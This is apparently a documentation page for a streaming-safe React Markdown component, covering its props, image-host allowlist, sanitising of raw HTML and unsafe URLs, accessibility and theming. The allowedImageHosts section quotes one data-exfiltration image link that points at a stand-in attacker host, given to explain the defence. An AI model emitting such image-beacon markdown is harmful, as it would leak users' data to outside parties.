Skip to content

Docs

Components

Markdown

Streaming-safe GFM: unterminated syntax closed while streaming, no raw HTML, images only from hosts you allow.

Example

The limiter belongs at the top of the handler, before streamText opens the stream:

  1. Read the client's IP from x-forwarded-for.
  2. Call ratelimit.limit(ip) and return a 429 when it fails.
WindowRequestsBurst
Sliding, 10 s10smoothed
Fixed, 10 s10up to 20 at the edge
ts
const { success } = await limit(ip);if (!success) return tooMany();

Interactive, and the same on the components page. Try the keyboard below on it.

Installation

npm i signoff-ui ai
import { Markdown } from 'signoff-ui';
// Once per app (with Tailwind v4: @import 'signoff-ui/tailwind.css'; in your CSS)
import 'signoff-ui/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

<Markdown streaming={part.state === 'streaming'} citations={sources.length}>
  {part.text}
</Markdown>

How it works

Streaming-safe GitHub-flavored markdown: unterminated syntax is closed while the text streams, raw HTML is never rendered, and javascript: and data: URLs are stripped. [n] markers link to the message's sources, and a caret follows the text while it streams. It takes the same allowedImageHosts as AgentMessage.

The whole text is parsed again on every delta, which gets slow for very long streamed answers; Performance and limits has the numbers.

API reference

Generated from the types the package ships, so it matches the version you install.

Markdown

Streaming-safe markdown (GFM). While streaming, unterminated emphasis, code and links are closed before parsing so partial output never flashes raw syntax. Raw HTML is not rendered, links and images with unsafe protocols (javascript:, data:) are stripped, and images load only from allowedImageHosts.

Props

childrenrequired
string
streaming
booleanDefault false

Repairs unterminated syntax and shows a caret while text is still arriving.

citations
numberDefault 0

Number of available sources; [n] markers up to this count become citation links.

citationPrefix
stringDefault 'source'

Must match the idPrefix of the Sources the citations point to.

allowedImageHosts
readonly string[]

Where images may load from. Default: nowhere. The browser fetches an image as soon as it renders, so a URL in model output can leak data (![](https://attacker.example/p.png?d=…)); a blocked image renders as a link with its alt text, and nothing is requested.

  • A host name of http(s) URLs, matched exactly: 'images.example.com' (any port), or 'localhost:3000' (that port only).
  • 'self': relative URLs (/logo.png, ./chart.png), which load from your own origin. //host/x is not relative. An absolute URL to your own site needs its host listed.
  • '*': every image.

Compared by value, so an inline array does not re-render the markdown.

components
Components

Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown.

className
string
labels
SignoffLabelsInput

Words to use instead of the English defaults: see SignoffLabelsProvider. Keep the object stable.

Accessibility

  • Raw HTML in model output is never rendered, and links and images with javascript: or data: URLs are stripped.
  • Images load only from allowedImageHosts. Others render as a link with their alt text, read as "Image:", and nothing is requested.
  • [n] markers up to citations become links named "Source n".
  • The streaming caret is hidden from screen readers.

Theming

Every color, radius and font is a CSS variable, so the overrides in Theming apply, on :root or scoped to any element. These hooks are read from the component's markup.

Slots (data-slot)
signoff-markdown
Tokens it uses
--signoff-accent--signoff-accent-fg--signoff-bg--signoff-border--signoff-border-strong--signoff-fg--signoff-fg-muted--signoff-fg-subtle--signoff-font-mono--signoff-font-sans--signoff-ring--signoff-surface-2
app/globals.css
/* Only this component, and only inside .settings-panel */
.settings-panel [data-slot='signoff-markdown'] {
  --signoff-radius: 4px;
}